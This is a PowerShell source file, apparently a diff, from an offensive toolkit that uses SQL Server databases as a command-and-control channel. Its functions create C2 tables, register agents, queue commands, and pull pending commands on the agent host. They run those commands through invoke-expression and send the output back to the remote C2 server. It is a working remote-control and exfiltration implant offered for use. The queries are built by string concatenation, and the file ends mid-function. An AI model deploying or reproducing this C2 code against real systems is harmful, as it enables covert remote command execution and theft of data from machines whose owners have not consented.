if($Query) + { + # Attempt connection + try + { + # Open connection + $Connection.Open() + + if(-not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + } + + # Setup SQL query + $Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection) + + # Grab results + $Results = $Command.ExecuteReader() + + # Load results into data table + $TblQueryResults.Load($Results) + + # Close connection + $Connection.Close() + + # Dispose connection + $Connection.Dispose() + } + catch + { + # Connection failed - for detail error use Get-SQLConnectionTest + if(-not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + + if($ReturnError) + { + $ErrorMessage = $_.Exception.Message + #Write-Verbose " Error: $ErrorMessage" + } + } + } + else + { + Write-Output -InputObject 'No query provided to Get-SQLQuery function.' + Break + } + } + + End + { + # Return Results + if($ReturnError) + { + $ErrorMessage + } + else + { + $TblQueryResults + } + } +} + + +# ---------------------------------- +# Get-SQLConnectionTest +# ---------------------------------- +Function Get-SQLConnectionTest +{ + <# + .SYNOPSIS + Tests if the current Windows account or provided SQL Server login can log into an SQL Server. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DAC + Connect using Dedicated Admin Connection. + .PARAMETER Database + Default database to connect to. + .PARAMETER TimeOut + Connection time out. + .PARAMETER SuppressVerbose + Suppress verbose errors. Used when function is wrapped. + .EXAMPLE + PS C:\> Get-SQLConnectionTest -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" + .EXAMPLE + PS C:\> Get-SQLConnectionTest -Verbose -Instance "SQLSERVER1.domain.com,1433" + .EXAMPLE + PS C:\> Get-SQLInstanceDomain | Get-SQLConnectionTest -Verbose + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [string]$TimeOut, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Setup data table for output + $TblResults = New-Object -TypeName System.Data.DataTable + $null = $TblResults.Columns.Add('ComputerName') + $null = $TblResults.Columns.Add('Instance') + $null = $TblResults.Columns.Add('Status') + } + + Process + { + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Setup DAC string + if($DAC) + { + # Create connection object + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut -Database $Database + } + else + { + # Create connection object + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database + } + + # Attempt connection + try + { + # Open connection + $Connection.Open() + + if(-not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + } + + # Add record + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Accessible') + + # Close connection + $Connection.Close() + + # Dispose connection + $Connection.Dispose() + } + catch + { + # Connection failed + if(-not $SuppressVerbose) + { + $ErrorMessage = $_.Exception.Message + Write-Verbose -Message "$Instance : Connection Failed." + Write-Verbose -Message " Error: $ErrorMessage" + } + + # Add record + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible') + } + } + + End + { + # Return Results + $TblResults + } +} + + +# ------------------------------------------- +# Function: Get-ComputerNameFromInstance +# ------------------------------------------ +# Author: Scott Sutherland +Function Get-ComputerNameFromInstance +{ + <# + .SYNOPSIS + Parses computer name from a provided instance. + .PARAMETER Instance + SQL Server instance to parse. + .EXAMPLE + PS C:\> Get-ComputerNameFromInstance -Instance SQLServer1\STANDARDDEV2014 + SQLServer1 + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance.')] + [string]$Instance + ) + + # Parse ComputerName from provided instance + If ($Instance) + { + $ComputerName = $Instance.split('\')[0].split(',')[0] + } + else + { + $ComputerName = $env:COMPUTERNAME + } + + Return $ComputerName +} + + +# ---------------------------------- +# Install-SQLC2 +# ---------------------------------- +# Author: Scott Sutherland +Function Install-SQLC2 +{ + <# + .SYNOPSIS + This functions creates the C2 SQL Server tables in the target database. + If the database does not exist, the script will try to create it. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DAC + Connect using Dedicated Admin Connection. + .PARAMETER DatabaseName + Database name that contains target table. + .EXAMPLE + PS C:\> Install-SQLC2 -Instance "SQLServer1\STANDARDDEV2014" -Database database1 + PS C:\> Install-SQLC2 -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Database containing target C2 table.')] + [string]$Database, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'ServerName of the agent.')] + [string]$ServerName, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Command to run on the agent.')] + [string]$Command, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Create data tables for output + $TblResults = New-Object -TypeName System.Data.DataTable + } + + Process + { + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + + # Test connection + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + Write-Verbose "$instance : Creating databases in Azure may timeout, but can be created manually via SSMS." + Write-Verbose "$instance : Attempting to verify and/or create the database $Database..." + + # Create Database Query + $Query = " + If not Exists (SELECT name FROM master.dbo.sysdatabases WHERE name = '$Database') + CREATE DATABASE db1 + ELSE + SELECT name FROM master..sysdatabases WHERE name like '$Database'" + + # Create Database results + $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database 'master' -SuppressVerbose -TimeOut 300 + $RowCount = $TblResults | Measure-Object | select Count -ExpandProperty count + if($RowCount -eq 1) + { + Write-Verbose "$instance : Verified $Database database exists or was created." + }else{ + Write-Verbose "$instance : Access or creation of $Database database failed." + return + } + + Write-Verbose "$instance : Creating the C2 Table in the database $Database on $Instance." + + # Create Database Query + $Query = " + If not Exists (SELECT name FROM sys.tables WHERE name = 'C2COMMANDS') + CREATE TABLE [C2COMMANDS] + ( + [cid] int IDENTITY(1,1) PRIMARY KEY, + [servername]varchar(MAX), + [command]varchar(MAX), + [result]varchar(MAX), + [status]varchar(MAX), + [lastupdate]DateTime default (Getdate()) + ); + + If not Exists (SELECT name FROM sys.tables WHERE name = 'C2AGENTS') + CREATE TABLE [C2AGENTS] + ( + [aid] int IDENTITY(1,1) PRIMARY KEY, + [servername]varchar(MAX), + [lastcheckin]DateTime default (Getdate()), + );SELECT name FROM sys.tables WHERE name = 'C2COMMANDS'" + + # Create Database results + $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database "$Database" -SuppressVerbose + $RowCount = $TblResults | Measure-Object | select Count -ExpandProperty count + if($RowCount -eq 1) + { + Write-Verbose "$instance : Verified C2 tables existed or were created in the $Database on $Instance." + }else{ + Write-Verbose "$instance : C2 tables creation failed in the $Database on $Instance failed." + } + + } + + End + { + # Return data + # $TblResults + } +} + + +# ---------------------------------- +# Register-SQLC2Agent +# ---------------------------------- +# Author: Scott Sutherland +Function Register-SQLC2Agent +{ + <# + .SYNOPSIS + This command should be run on the c2 agent system so it can send a keep alive to the server. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DAC + Connect using Dedicated Admin Connection. + .PARAMETER DatabaseName + Database name that contains target table. + .PARAMETER Table + Table name to that contains target column. + .PARAMETER Column + Column that contains the TSQL command to run. + .EXAMPLE + PS C:\> Register-SQLC2Agent -Instance "SQLServer1\STANDARDDEV2014" -Database database1 + PS C:\> Register-SQLC2Agent -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Database containing target C2 table.')] + [string]$Database, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Create data tables for output + $TblResults = New-Object -TypeName System.Data.DataTable + $TblDatabases = New-Object -TypeName System.Data.DataTable + $null = $TblDatabases.Columns.Add('ServerName') + $null = $TblDatabases.Columns.Add('Command') + $null = $TblDatabases.Columns.Add('Status') + } + + Process + { + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # Setup query to grab commands + $Query = " + -- checkin as agent + IF not Exists (SELECT * FROM dbo.C2Agents WHERE servername = 'NETSPI-419-SSU') + INSERT dbo.C2Agents (servername) VALUES ('NETSPI-419-SSU') + ELSE + UPDATE dbo.C2Agents SET lastcheckin = (select GETDATE ())" + + # Execute Query + $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + + Write-Verbose "$instance : $env:COMPUTERNAME registered as agent." + } + + End + { + # Return data + $TblResults + } +} + + +# ---------------------------------- +# Get-SQLC2Agent +# ---------------------------------- +# Author: Scott Sutherland +Function Get-SQLC2Agent +{ + <# + .SYNOPSIS + This command should be run against the C2 SQLserver and will return a list of agents. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DAC + Connect using Dedicated Admin Connection. + .PARAMETER DatabaseName + Database name that contains target table. + .PARAMETER Table + Table name to that contains target column. + .PARAMETER Column + Column that contains the TSQL command to run. + .EXAMPLE + PS C:\> Get-SQLC2Agent-Instance "SQLServer1\STANDARDDEV2014" -Database database1 + PS C:\> Get-SQLC2Agent -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Database containing target C2 table.')] + [string]$Database, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Create data tables for output + $TblResults = New-Object -TypeName System.Data.DataTable + } + + Process + { + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # Setup query to grab commands + $Query = "SELECT * FROM dbo.c2agents" + + # Execute Query + $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + $AgentCount = $TblResults | measure | select count -ExpandProperty count + + Write-Verbose -Message "$Instance : $AgentCount agents were found registered." + } + + End + { + # Return data + $TblResults + } +} + + +# ---------------------------------- +# Set-SQLC2Command +# ---------------------------------- +# Author: Scott Sutherland +Function Set-SQLC2Command +{ + <# + .SYNOPSIS + This functions stores a command in the C2COMMAND table of the C2 SQL Server. + This command should be run against the C2 SQL Server. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DAC + Connect using Dedicated Admin Connection. + .PARAMETER DatabaseName + Database name that contains target table. + .PARAMETER ServerName + ServerName to run the command on. By default it is all nodes. + .PARAMETER Command + Command to run on the agent. + .EXAMPLE + PS C:\> Set-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -Command 'whoami' -ServerName host1 + PS C:\> Set-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 -Command 'whoami' -ServerName host1 + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Database containing target C2 table.')] + [string]$Database, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'ServerName of the agent.')] + [string]$ServerName, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Command to run on the agent.')] + [string]$Command, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Create data tables for output + $TblResults = New-Object -TypeName System.Data.DataTable + $TblDatabases = New-Object -TypeName System.Data.DataTable + $null = $TblDatabases.Columns.Add('ServerName') + $null = $TblDatabases.Columns.Add('Command') + $null = $TblDatabases.Columns.Add('Status') + } + + Process + { + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + + # Setup agent node filtering based on servername + If(-not $ServerName){ + $ServerName = "All" + } + + # Test connection + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + Write-Verbose "$instance : Attempting to set command on C2 Server $env:COMPUTERNAME for $ServerName agent(s)." + Write-Verbose "$instance : Command: $Command" + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # Set command for single agent + $Query = "INSERT dbo.C2COMMANDS (ServerName,Command,Status) VALUES ('$ServerName','$Command','pending')" + + # Execute Query + $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + + Write-Verbose "$instance : Command added for $ServerName agent(s) on C2 server $env:COMPUTERNAME." + } + + End + { + # Return data + $TblResults + } +} + + +# ---------------------------------- +# Get-SQLC2Command +# ---------------------------------- +# Author: Scott Sutherland +Function Get-SQLC2Command +{ + <# + .SYNOPSIS + This command gets a command from a table on a remote c2 SQL Server. + This command should be run on the c2 agent system so it can pull down + any commands the C2 server has for it to execute. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DAC + Connect using Dedicated Admin Connection. + .PARAMETER DatabaseName + Database name that contains target table. + .EXAMPLE + PS C:\> Get-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 + PS C:\> Get-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Database containing target C2 table.')] + [string]$Database, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Execute commands from c2.')] + [switch]$Execute, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Create data tables for output + $TblResults = New-Object -TypeName System.Data.DataTable + } + + Process + { + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + Write-Verbose "$instance : Attempting to grab command from $env:COMPUTERNAME ." + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # Check in the server + Register-SQLC2Agent -Username $Username -Password $Password -Instance $Instance -Database $Database -SuppressVerbose | Out-Null + + # Setup query to grab commands + $Query = "SELECT * FROM dbo.c2commands where status like 'pending' and (servername like '$env:COMPUTERNAME' or servername like 'All')" + + # Execute Query + $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + + # check command count + $CommandCount = $TblResults | measure | select count -ExpandProperty count + + Write-Verbose "$instance : $CommandCount commands were from $env:COMPUTERNAME." + } + + End + { + # Process command execution + if($Execute){ + + # Loop through pending commands + $TblResults | ForEach-Object { + + # Grab command + $C2CommandId = $_.cid + $C2Command = $_.command + + # Execute command + Invoke-SQLC2Command -Username $Username -Password $Password -Instance $Instance -Database $Database -Verbose -Command $C2Command -Cid $C2CommandId + } + }else{ + + # Return data + $TblResults + } + } + } + + +# ---------------------------------- +# Invoke-SQLC2Command +# ---------------------------------- +# Author: Scott Sutherland +Function Invoke-SQLC2Command +{ + <# + .SYNOPSIS + This command should be run on the agent system. It will execute a OS command locally and + return the results to the C2 SQL Server. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DAC + Connect using Dedicated Admin Connection. + .PARAMETER DatabaseName + Database name that contains target table. + .PARAMETER Command + The OS command to run. + .EXAMPLE + PS C:\> Invoke-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 + PS C:\> Invoke-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Database containing target C2 table.')] + [string]$Database, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'The OS command to run.')] + [string]$Command, + + [Parameter(Mandatory = $true, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'This is the unique command id provide from the server.')] + [Int]$Cid, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Create data tables for output + $TblResults = New-Object -TypeName System.Data.DataTable + } + + Process + { + Write-Verbose "Running command $Cid on $env:COMPUTERNAME" + Write-Verbose "Command: $Command" + + # Run the command + try{ + $CommandResults = invoke-expression "$Command" + Write-Verbose "Command complete." + $CommandStatus = "success" + }catch{ + Write-Verbose "Command failed. Aborting." + $CommandStatus = "failed" + } + + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # Check in the server + Register-SQLC2Agent -Username $Username -Password $Password -Instance $Instance -Database $Database -SuppressVerbose | Out-Null + + # Setup query to grab commands + Write-Verbose -Message "$Instance : Send command update to $Instance for command $Cid." + $Query = " + -- update command request from server + UPDATE dbo.C2COMMANDS SET lastupdate = (select GETDATE ()),result = '$CommandResults',status='$CommandStatus',command='$Command' + WHERE CID like $Cid" + + # Execute Query + $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + + # check command count + $CommandCount = $TblResults.row.count + + Write-Verbose "$instance : Update sent." + } + + End + { + # Return data + $TblResults + } + } + + +# ---------------------------------- +# Get-SQLC2Result +# ---------------------------------- +# Author: Scott Sutherland +Function Get-SQLC2Result +{ + <# + .SYNOPSIS + This function gets command results from the C2 SQL Server. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DAC + Connect using Dedicated Admin Connection. + .PARAMETER DatabaseName + Database name that contains target table. + .PARAMETER ServerName + Filter by server name. + .PARAMETER Cid + Filter by command id. + .PARAMETER Status + Filter by status. + .EXAMPLE + PS C:\> Get-SQLC2Result -Instance "SQLServer1\STANDARDDEV2014" -Database database1 + PS C:\> Get-SQLC2Result -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -Cid 1 + PS C:\> Get-SQLC2Result -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -Status "Success" + PS C:\> Get-SQLC2Result -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -ServerName "Server1" + PS C:\> Get-SQLC2Result -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Database containing target C2 table.')] + [string]$Database, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Filter by server name.')] + [string]$ServerName, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Filter by Status.')] + [ValidateSet("pending","success","failed")] + [string]$Status, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Filter by command ID.')] + [string]$Cid, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Create data tables for output + $TblResults = New-Object -TypeName System.Data.DataTable + + # Create ServerName filter + if($ServerName){ + $FilterServerName = "WHERE servername like '$ServerName'" + }else{ + $FilterServerName = "" + } + + # Create Status filter + if($Status){ + $FilterStatus = "WHERE status like '$Status'" + }else{ + $FilterStatus = "" + } + + + # Create ServerName filter + if($Cid){ + $FilterCid = "WHERE cid like '$Cid'" + }else{ + $FilterCid = "" + } + } + + Process + { + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + Write-Verbose "$instance : Attempting to grab command from $env:COMPUTERNAME ." + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # Setup query to grab commands + $Query = " + SELECT * FROM dbo.c2commands + $FilterServerName + $FilterStatus + $FilterCid 